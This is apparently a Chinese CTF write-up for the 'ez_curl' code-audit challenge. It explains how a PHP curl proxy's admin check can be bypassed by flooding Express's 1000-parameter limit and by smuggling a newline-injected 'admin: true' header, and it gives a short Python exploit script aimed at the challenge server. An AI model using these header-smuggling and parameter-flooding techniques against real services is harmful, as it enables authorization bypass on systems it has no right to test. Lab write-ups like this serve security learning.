ez_curl【代码审计】

发布时间 2023-11-23 21:01:36作者: yuanyy720

ez_curl【代码审计】[难度:4]

  • 题目描述

    代码审计类题目,附上代码:

    <?php
    highlight_file(__FILE__);
    $url = 'http://back-end:3000/flag?';
    **$input = file_get_contents('php://input');**
    **$headers = (array)json_decode($input)->headers;**
    for($i = 0; $i < count($headers); $i++){
        $offset = stripos($headers[$i], ':');
        $key = substr($headers[$i], 0, $offset);
        $value = substr($headers[$i], $offset + 1);
        if(stripos($key, 'admin') > -1 && stripos($value, 'true') > -1){
            die('try hard');
        }
    }
    $params = (array)json_decode($input)->params;
    $url .= http_build_query($params);
    **$url .= '&admin=false';**
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    curl_setopt($ch, CURLOPT_TIMEOUT_MS, 5000);
    curl_setopt($ch, CURLOPT_NOBODY, FALSE);
    $result = curl_exec($ch);
    curl_close($ch);
    echo $result;
    try hard1
    

    第四行有file_get_contents(’php://input’),文件包含,当Content-Type为application/x-www-form-urlencoded且提交方法是POST方法时,$_POST数据与php://input数据是一致的。

    第五行json_decode将请求头解析为json格式,如

    {"headers": ["admin:true"]}

    // 附件,app.js
    const express = require('express');
    
    const app = express();
    
    const port = 3000;
    const flag = process.env.flag;
    
    app.get('/flag', (req, res) => {
        if(!req.query.admin.includes('false') && req.headers.admin.includes('true')){
            res.send(flag);
        }else{
            res.send('try hard');
        }
    });
    
    app.listen({ port: port , host: '0.0.0.0'});
    

    当收到请求之后,app.js判断请求者是否为admin,判断的逻辑为:如果参数admin字段不包含false并且请求头中admin字段包含true,则判为admin。但是在php代码中可以看到,每次url都要拼接'&admin=false'。

  • 漏洞利用

    • express的parameterLimit默认为1000,添加1000多个参数把最后拼接的参数给挤掉
    • 根据RFC 7230(HTTP/1.1协议的定义)的规定,规定了 field-name 是由一个或多个打印的 ASCII 字符组成,不包括分隔符,包括空格。因此,如果一个 field-name 的第一个字符使用换行分隔,那么这个 HTTP header 是非法的,应该被服务器或客户端忽略或拒绝,然而,Node.js 在处理这类情况时通常是宽容的。
  • 题解脚本

    最终参考的exp如下:

    import json
    import requests
    from abc import ABC
    
    url = "http://61.147.171.105:61319/"
    datas = {"headers": ["xx:xx\nadmin: true", "Content-Type: application/json"],
             "params": {"admin": "true"}}
    //在每次循环中,
    //代码向 datas["params"] 字典中添加一个新的键值对,
    //键的格式是 "x" + str(i),值是 i
    for i in range(1020):
        datas["params"]["x" + str(i)] = i
    headers = {
        "Content-Type": "application/json"
    }
    json1 = json.dumps(datas)
    print(json1)
    resp = requests.post(url, headers=headers, data=json1)
    with open('ex_curl.txt', 'ab') as file:
        file.write(resp.content)
    

参考链接:https://www.cnblogs.com/hackerone/p/17536668.html